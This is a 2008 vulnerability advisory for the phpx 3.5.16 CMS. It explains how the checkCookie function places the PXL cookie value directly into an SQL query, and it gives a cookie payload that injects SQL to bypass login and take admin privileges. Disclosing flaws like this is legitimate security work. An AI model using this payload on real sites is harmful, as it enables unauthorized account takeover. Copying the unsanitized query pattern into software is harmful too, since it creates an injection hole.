phpx-cookie.txt

`=======================================================================  
  
= gnix =  
  
gnixmail at gmail dot com  
http://gnix.netsons.org  
  
  
Application: phpx  
http://www.phpx.org/project.php (stable version)  
Versions: 3.5.16  
Platforms: All  
Bug: Cookie poisoning / Login bypass  
Date: 31 July 2008  
  
  
  
=======================================================================  
  
1. Intro  
2. Cookie poisoning and login bypass  
  
  
  
=======================================================================  
  
1. Intro  
========  
  
PHPX is a web portal system, blog,Content Management System (CMS), forums,  
and more. All files are currently hosted at http://www.phpx.org/project.php  
  
  
  
=======================================================================  
  
2. Cookie poisoning and login bypass  
====================================  
  
Every file in phpx-3.5.16/ directory have two lines of code: one for  
include includes/functions.inc.php, and another to create a website object.   
website's constructor will call checkCookie.  
  
  
Source code (includes/functions.inc.php)  
---------------------------------------------------------------------  
class website {  
...  
  
function website(){  
...  
  
$this->checkCookie();  
---------------------------------------------------------------------  
  
  
The function checkCookie set the user_id if PXL cookie is set and the   
query return an user_id, and an username.  
  
  
Vulnerable code (includes/functions.inc.php lines 75 to 89)   
---------------------------------------------------------------------  
function checkCookie(){  
  
if ($_COOKIE[PXL]){  
list($user_id, $username) = $this->core->db->fetch("select user_id, username from users where sess = '$_COOKIE[PXL]'");  
if (!$user_id){  
setcookie("PXL", '', time() - 60, '', '', $this->core->secure);  
$head = "Location: http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];  
header($head);  
}  
else {  
if (strtolower($username) == "xnuiem"){ $this->debug = 1; }  
$this->user_id = $user_id;  
}  
}  
}  
---------------------------------------------------------------------  
  
  
This user_id is then used in the website constructor for set the user_id  
of the core class.   
  
  
Source code (includes/functions.inc.php line 32)  
---------------------------------------------------------------------  
$this->core->user_id = $this->user_id;  
---------------------------------------------------------------------  
  
  
Now if you want to get the admin privileges and by pass the login, you  
have to create a cookie like this below:  
  
  
---------------------------------------------------------------------  
PXL=a' OR username='admin  
---------------------------------------------------------------------  
  
  
To do that you can use 'Modify Headers'.  
  
  
  
=======================================================================  
  
`